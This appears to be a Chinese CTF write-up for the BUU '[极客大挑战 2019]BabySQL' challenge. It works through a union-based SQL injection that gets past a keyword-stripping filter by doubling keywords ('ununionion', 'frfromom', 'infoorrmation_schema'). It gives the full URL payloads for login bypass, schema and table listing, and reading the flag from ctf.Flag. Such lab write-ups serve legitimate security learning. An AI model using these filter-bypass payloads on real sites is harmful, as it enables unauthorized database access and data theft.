天天看点

BUU WEB [极客大挑战 2019]BabySQL

看题目,明显是一个SQL注入,打开网页,直接用万能密码登陆试试看:

BUU WEB [极客大挑战 2019]BabySQL

不行,那就只能老老实实一步一步的走了,先order by:

BUU WEB [极客大挑战 2019]BabySQL

错误!

这就很尬了,但我们可以从提示信息里发现一些有趣的东西,万能密码里的提示信息是or之后的信息,order by也是,而且是der…,那是不是可以推测,or是被检测到删除了?!回到万能密码再试一次,这次双写oorr:

BUU WEB [极客大挑战 2019]BabySQL

成功登陆!

这说明我们的推测是正确的,那这里就是双写绕过了呗。

我们将提示错误的信息里被删除的关键词都双写,就可以正常的注入啦(在之后的注入里会发现from和where也被过滤了,另外注意,函数有些也包括这几个关键词,注意双写):

?username=1' oorrder bbyy 4%23&password=1
           
BUU WEB [极客大挑战 2019]BabySQL

3个字段,即表中有三列数据,,然后联合查询暴库名:

?username=1' ununionion seselectlect 1,2,database() %23&password=1
           
BUU WEB [极客大挑战 2019]BabySQL

然后表名:

?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23&password=1
           
BUU WEB [极客大挑战 2019]BabySQL

接下来就是字段名和数据了,但在这两个表里我都没找到flag。。。

经查阅资料(WP嘿嘿),发现找错库了!那就从头来,先爆出所有的库名:

?username=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) %23&password=1
           
BUU WEB [极客大挑战 2019]BabySQL

flag嘛,那自然在ctf库里了(当然不一定,但大概率在):

(省略了order by直接查看了表名)

?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'  %23&password=1
           
BUU WEB [极客大挑战 2019]BabySQL

flag!

查字段:

?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere  table_name="Flag"%23&password=1
           
BUU WEB [极客大挑战 2019]BabySQL

,查看数据:

?username=1' uniunionon selselectect 1,2,flag frfromom ctf.Flag%23&password=1
或
?username=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23&password=1
           
BUU WEB [极客大挑战 2019]BabySQL
wp